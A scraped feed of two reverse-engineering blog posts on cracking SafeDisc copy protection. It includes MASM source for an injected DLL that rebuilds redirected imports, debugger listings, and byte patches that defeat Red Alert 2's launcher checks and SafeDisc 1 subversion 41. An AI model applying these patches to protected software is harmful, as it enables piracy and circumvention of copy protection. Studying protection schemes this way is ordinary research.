color="#009900">ecx</font> <b><font color="#000080"> .endw</font></b> <b><font color="#0000FF">mov</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">edi</font> <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">],</font> <font color="#009900">ebx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">word</font> <b><font color="#0000FF">ptr</font></b><font color="#990000">[</font><font color="#009900">eax</font><font color="#990000">],</font> <font color="#993399">015FFh</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#009900">esi</font> <b><font color="#0000FF">lea</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">edx</font> <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">],</font> <font color="#009900">edx</font> @@<font color="#990000">:</font> <b><font color="#0000FF">jmp</font></b> Scantext <i><font color="#9A1900">; We will scan if the ptr to rdata section</font></i> <i><font color="#9A1900">; is in kernel32 table or go check if it is</font></i> <i><font color="#9A1900">; in user32 table</font></i> call_type<font color="#993399">1</font><font color="#990000">:</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">]</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">ebx</font><font color="#990000">,</font> kernel<font color="#993399">32</font>_rdata next_kernel<font color="#993399">32</font><font color="#990000">:</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">ebx</font><font color="#990000">],</font> <font color="#993399">0</font> <b><font color="#0000FF">je</font></b> user<font color="#993399">32</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">ebx</font><font color="#990000">,</font> <font color="#009900">edx</font> <b><font color="#0000FF">je</font></b> is_kernel<font color="#993399">32</font> <b><font color="#0000FF">add</font></b> <font color="#009900">ebx</font><font color="#990000">,</font> <font color="#993399">4</font> <b><font color="#0000FF">jmp</font></b> next_kernel<font color="#993399">32</font> <i><font color="#9A1900">; We found it, let's fix this</font></i> is_kernel<font color="#993399">32</font><font color="#990000">:</font> <b><font color="#0000FF">push</font></b> next_scan <b><font color="#0000FF">mov</font></b> <font color="#009900">ecx</font><font color="#990000">,</font> <font color="#009900">eax</font> <b><font color="#0000FF">add</font></b> <font color="#009900">ecx</font><font color="#990000">,</font> <font color="#993399">6</font> <b><font color="#0000FF">push</font></b> <font color="#009900">ecx</font> <b><font color="#0000FF">jmp</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">ebx</font><font color="#990000">]</font> next_scan<font color="#990000">:</font> <b><font color="#0000FF">xor</font></b> <font color="#009900">ecx</font><font color="#990000">,</font> <font color="#009900">ecx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">ebx</font><font color="#990000">,</font> <font color="#990000">[</font>addrapi<font color="#990000">]</font> <b><font color="#000080"> .while</font></b> <font color="#990000">(</font><font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font>kernel<font color="#993399">32</font>_table <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <font color="#990000">!=</font> <font color="#993399">0</font><font color="#990000">)</font> <b><font color="#000080"> .if</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font>kernel<font color="#993399">32</font>_table <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <font color="#990000">==</font> <font color="#009900">ebx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">edx</font><font color="#990000">,</font> kernel<font color="#993399">32</font>_rdata <b><font color="#0000FF">lea</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">edx</font> <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <i><font color="#9A1900">; fix index</font></i> <b><font color="#0000FF">mov</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">],</font> <font color="#009900">edx</font> <b><font color="#0000FF">jmp</font></b> @F <b><font color="#000080"> .endif</font></b> <b><font color="#0000FF">inc</font></b> <font color="#009900">ecx</font> <b><font color="#000080"> .endw</font></b> <b><font color="#0000FF">mov</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font>kernel<font color="#993399">32</font>_table <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">],</font> <font color="#009900">ebx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">edx</font><font color="#990000">,</font> kernel<font color="#993399">32</font>_rdata <b><font color="#0000FF">lea</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">edx</font> <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">],</font> <font color="#009900">edx</font> @@<font color="#990000">:</font> <b><font color="#0000FF">jmp</font></b> Scantext <i><font color="#9A1900">; Same thing like below but for user32</font></i> <b><font color="#000080">user32:</font></b> <b><font color="#0000FF">mov</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">]</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">ebx</font><font color="#990000">,</font> user<font color="#993399">32</font>_rdata next_user<font color="#993399">32</font><font color="#990000">:</font> <b><font color="#0000FF">cmp</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">ebx</font><font color="#990000">],</font> <font color="#993399">0</font> <b><font color="#0000FF">je</font></b> Scantext <b><font color="#0000FF">cmp</font></b> <font color="#009900">ebx</font><font color="#990000">,</font> <font color="#009900">edx</font> <b><font color="#0000FF">je</font></b> is_user<font color="#993399">32</font> <b><font color="#0000FF">add</font></b> <font color="#009900">ebx</font><font color="#990000">,</font> <font color="#993399">4</font> <b><font color="#0000FF">jmp</font></b> next_user<font color="#993399">32</font> is_user<font color="#993399">32</font><font color="#990000">:</font> <b><font color="#0000FF">push</font></b> next_scan_user<font color="#993399">32</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">ecx</font><font color="#990000">,</font> <font color="#009900">eax</font> <b><font color="#0000FF">add</font></b> <font color="#009900">ecx</font><font color="#990000">,</font> <font color="#993399">6</font> <b><font color="#0000FF">push</font></b> <font color="#009900">ecx</font> <b><font color="#0000FF">jmp</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">ebx</font><font color="#990000">]</font> next_scan_user<font color="#993399">32</font><font color="#990000">:</font> <b><font color="#0000FF">xor</font></b> <font color="#009900">ecx</font><font color="#990000">,</font> <font color="#009900">ecx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">ebx</font><font color="#990000">,</font> <font color="#990000">[</font>addrapi<font color="#990000">]</font> <b><font color="#000080"> .while</font></b> <font color="#990000">(</font><font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font>user<font color="#993399">32</font>_table <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <font color="#990000">!=</font> <font color="#993399">0</font><font color="#990000">)</font> <b><font color="#000080"> .if</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font>user<font color="#993399">32</font>_table <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <font color="#990000">==</font> <font color="#009900">ebx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">edx</font><font color="#990000">,</font> user<font color="#993399">32</font>_rdata <b><font color="#0000FF">lea</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">edx</font> <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">],</font> <font color="#009900">edx</font> <b><font color="#0000FF">jmp</font></b> @F <b><font color="#000080"> .endif</font></b> <b><font color="#0000FF">inc</font></b> <font color="#009900">ecx</font> <b><font color="#000080"> .endw</font></b> <b><font color="#0000FF">mov</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font>user<font color="#993399">32</font>_table <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">],</font> <font color="#009900">ebx</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">edx</font><font color="#990000">,</font> user<font color="#993399">32</font>_rdata <b><font color="#0000FF">lea</font></b> <font color="#009900">edx</font><font color="#990000">,</font> <font color="#990000">[</font><font color="#009900">edx</font> <font color="#990000">+</font> <font color="#009900">ecx</font> <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">]</font> <b><font color="#0000FF">mov</font></b> <font color="#009900">dword</font> <b><font color="#0000FF">ptr</font></b> <font color="#990000">[</font><font color="#009900">eax</font> <font color="#990000">+</font> <font color="#993399">2</font><font color="#990000">],</font> <font color="#009900">edx</font> @@<font color="#990000">:</font> <b><font color="#0000FF">jmp</font></b> Scantext LibMain <b><font color="#0000FF">endp</font></b> <b><font color="#0000FF">end</font></b> LibMain</tt></pre> <p>And the make.bat :</p> <pre><code>@echo off if exist &quot;inject.obj&quot; del &quot;inject.obj&quot; if exist &quot;inject.dll&quot; del &quot;inject.dll&quot; \masm32\bin\ml /c /coff &quot;inject.asm&quot; if errorlevel 1 goto end \masm32\bin\Link /SUBSYSTEM:WINDOWS /DLL &quot;inject.obj&quot; if errorlevel 1 goto end :end pause </code></pre> <p>For injecting the dll, i used a olly plugin writtent by <a href="http://baboon.rce.free.fr/download/IinjOlly.rar">baboon</a>, big thanks to him :]<br/> Then after injecting dll, dump process, use importrec, and enjoy !</p> <h2>Bonus</h2> <p>And now ! the lulz part :]<br/> In the folder of red alert 2, we can see ra2.exe (protected by safedisc) and game.exe (not protected), ra2.exe will simply launch game.exe. So removing safedisc was a long solution for breaking it.<br/> But they used lame protection to watch if the process was launched by ra2.exe or not.<br/></p> <pre><code>004916E4 |. 50 PUSH EAX ; /MutexName =&gt; &quot;48BC11BD-C4D7-466b-8A31-C6ABBAD47B3E&quot; 004916E5 |. 6A 00 PUSH 0 ; |InitialOwner = FALSE 004916E7 |. 6A 00 PUSH 0 ; |pSecurity = NULL 004916E9 |. FF15 30527800 CALL DWORD PTR DS:[&lt;&amp;KERNEL32.CreateMutexA&gt;] ; \CreateMutexA 004916EF |. 8BF0 MOV ESI,EAX 004916F1 |. FF15 F0517800 CALL DWORD PTR DS:[&lt;&amp;KERNEL32.GetLastError&gt;] ; [GetLastError 004916F7 |. 3D B7000000 CMP EAX,0B7 004916FC |. 0F94C3 SETE BL 004916FF |. 85F6 TEST ESI,ESI 00491701 |. 74 07 JE SHORT game2.0049170A </code></pre> <p>What !? They are just checking if a mutex has been created or not, ok let's nop this.<br/> A second check is :</p> <pre><code>0049173A |. 68 20037C00 PUSH game2.007C0320 ; /EventName = &quot;D6E7FC97-64F9-4d28-B52C-754EDF721C6F&quot; 0049173F |. 6A 01 PUSH 1 ; |Inheritable = TRUE 00491741 |. 6A 02 PUSH 2 ; |Access = 2 00491743 |. FF15 28527800 CALL DWORD PTR DS:[&lt;&amp;KERNEL32.OpenEventA&gt;] ; \OpenEventA 00491749 |. 8BF0 MOV ESI,EAX 0049174B |. 85F6 TEST ESI,ESI 0049174D |. 74 22 JE SHORT game2.00491771 </code></pre> <p>Ok a check if OpenEventA worked or not let's nop it too.</p> <h2>Kind of triggers ?</h2> <p>But there is another problem if we fix game.exe, i started a skirmish party for lulz, and after 15 seconds of playing the computer (IA) leave the match and i am victorius. WTF ?!<br/></p> <p>Ok it's clear the launcher (ra2.exe) send message throw PostThreadMessage() and game.exe set a value if a received well this message :</p> <pre><code>00491791 |. 8BF1 MOV ESI,ECX 00491793 |. 817E 04 EFBE0&gt;CMP DWORD PTR DS:[ESI+4],0BEEF 0049179A |. 75 4A JNZ SHORT game2.004917E6 0049179C |. 68 A4037C00 PUSH game2.007C03A4 004917A1 |. E8 4A51F7FF CALL game2.004068F0 004917A6 |. 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 004917A9 |. 83C4 04 ADD ESP,4 004917AC |. 6A 00 PUSH 0 /BaseAddr = NULL 004917AE |. 6A 00 PUSH 0 |MapSize = 0 004917B0 |. 6A 00 PUSH 0 |OffsetLow = 0 004917B2 |. 6A 00 PUSH 0 |OffsetHigh = 0 004917B4 |. 68 1F000F00 PUSH 0F001F |AccessMode = F001F 004917B9 |. 50 PUSH EAX |hMapObject 004917BA |. FF15 24527800 CALL DWORD PTR DS:[&lt;&amp;KERNEL32.MapViewOfFileEx&gt;] \MapViewOfFileEx 004917C0 |. 85C0 TEST EAX,EAX 004917C2 |. A3 4C9E8300 MOV DWORD PTR DS:[839E4C],EAX </code></pre> <p>This routine is called for checking the type of message in our case 0xBEEF, and then if the MapViewOfFileEx() is well done, it will set a value in 0x839E4C. By watching reference to this immediate constant, we can see this :</p> <pre><code>004917FA |. A1 4C9E8300 MOV EAX,DWORD PTR DS:[839E4C] 004917FF |. 83C4 04 ADD ESP,4 00491802 |. 85C0 TEST EAX,EAX 00491804 |. 75 03 JNZ SHORT game2.00491809 00491806 32C0 XOR AL,AL 00491808 |. C3 RET </code></pre> <p>Just replace xor al, al by mov al, 1 and (trigger?) is fix.</p> http://blog.w4kfu.compost/C_and_C 2011-09-15T20:34:04Z 2011-09-15T20:34:04Z Subversion 41 w4kfu <h2>Introduction</h2> <p>No this is post will not be about <a href="http://en.wikipedia.org/wiki/Apache_Subversion">SVN</a> (a software versioning).<br/> We will just see a litlle difference in the subversion 41 of safedisc 1.<br/> I invite you to read this <a href="http://blog.w4kfu.com/post/NOD_OR_GDI">post</a> about version 1, before reading this.<br/></p> <h2>Anti debug</h2> <p>It is the same stuff than before, you have to use EBFE tricks too.<br/> This part is exactly the same than the previous post.</p> <h2>Call redirection</h2> <p>Each call to Kernel32 or User32 api, are done through dplayerx.dll as usual : <br/></p> <pre><code>013E5BD5 68 6712EABF PUSH BFEA1267 013E5BDA 9C PUSHFD 013E5BDB 60 PUSHAD 013E5BDC 54 PUSH ESP 013E5BDD 68 1B000000 PUSH 1B 013E5BE2 68 00000000 PUSH 0 013E5BE7 FF15 F75B3E01 CALL DWORD PTR DS:[13E5BF7] ; dplayerx.00E75310 013E5BED 83C4 0C ADD ESP,0C 013E5BF0 6A 00 PUSH 0 013E5BF2 58 POP EAX 013E5BF3 61 POPAD 013E5BF4 9D POPFD 013E5BF5 C3 RET </code></pre> <p>But in this revision for each api you will have to push a predefined value (random?) like 0xBFEA1267 in this example.<br/> We can see the number of the api to call, and 0 or 1 for kernel32 or user32.<br/> But ! after the call, we haven't got a jmp dword for jumping to the resolved address api<br/> Because now the routine dplayerx.00E75310, will GetProcAddress() and then ret to this address, code at 0x013E5BED will never be executed.<br/> So we must fix the previous code for fixing the iat : <br/></p> <pre><code>013E36C5 33DB XOR EBX,EBX 013E36C7 BA 50F04C00 MOV EDX,OFFSET SC3U.__imp__GetStartupInfoA@4 ; MOV EDX,4CF050 start rdata kernel32 redirection 013E36CC 8B02 MOV EAX,DWORD PTR DS:[EDX] 013E36CE 8B40 01 MOV EAX,DWORD PTR DS:[EAX+1] ; Retrive the (random) value 013E36D1 50 PUSH EAX 013E36D2 9C PUSHFD 013E36D3 60 PUSHAD 013E36D4 54 PUSH ESP 013E36D5 6A 10 PUSH EBX ; Numero api 013E36D7 6A 00 PUSH 0 ; 0 (Kernel32) 013E36D9 FF15 AB363E01 CALL DWORD PTR DS:[13E36AB] ; dplayerx.00E35310 013E36DF 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] ; Addr of api 013E36E3 A3 F0BF4F00 MOV DWORD PTR DS:[4FBFF0],EAX ; Save it 013E36E8 61 POPAD 013E36E9 9D POPFD 013E36EA A1 F0BF4F00 MOV EAX,DWORD PTR DS:[4FBFF0] 013E36EF 8902 MOV DWORD PTR DS:[EDX],EAX ; Fix 013E36F1 43 INC EBX ; Next api 013E36F2 83FB 50 CMP EBX,50 ; No more api ? 013E36F5 74 06 JE SHORT 013E36FD 013E36F7 83C2 04 ADD EDX,4 013E36FA ^ EB D0 JMP SHORT 013E36CC 013E36FA CC INT3 </code></pre> <p>Don't forget to set full access(write) to your rdata section.<br/> And now let's patch in dplayerx.dll :</p> <pre><code>00E33B13 8B65 0C MOV ESP,DWORD PTR SS:[EBP+C] 00E33B16 61 POPAD 00E33B17 9D POPFD 00E33B18 C3 RET </code></pre> <p>We will nop the popad and popfd instruction and replace ret by a jmp to our code (just after call instruction) :</p> <pre><code>00E33B13 8B65 0C MOV ESP,DWORD PTR SS:[EBP+C] 00E33B16 90 NOP 00E33B17 90 NOP 00E33B18 - E9 C2FB5A00 JMP 013E36DF </code></pre> <p>Now set new origin, run it,then do the same thing with user32 api, change edx start value,push 0 by push 1, and 50 by 29. Now you can dump fix the iat with ImportRec and enjoy your game :]</p> <h2>Conlusion</h2> <p>This post is not very important but just to see a little difference, and how to fix it.<br/> Btw today is Saturday, girlz go shopping for new shoes, guyz buy their alcohol for saturday night party, and me I wrote a list of fun (protection) games and buy some of them :</p> <p><img src="/public/10092011.jpeg" alt="10092011.jpeg" /><br/></p> <p>I just need time for beeing able to publish my research about this new stuff.</p> http://blog.w4kfu.compost/Subverion41 2011-09-10T17:11:51Z 2011-09-10T17:11:51Z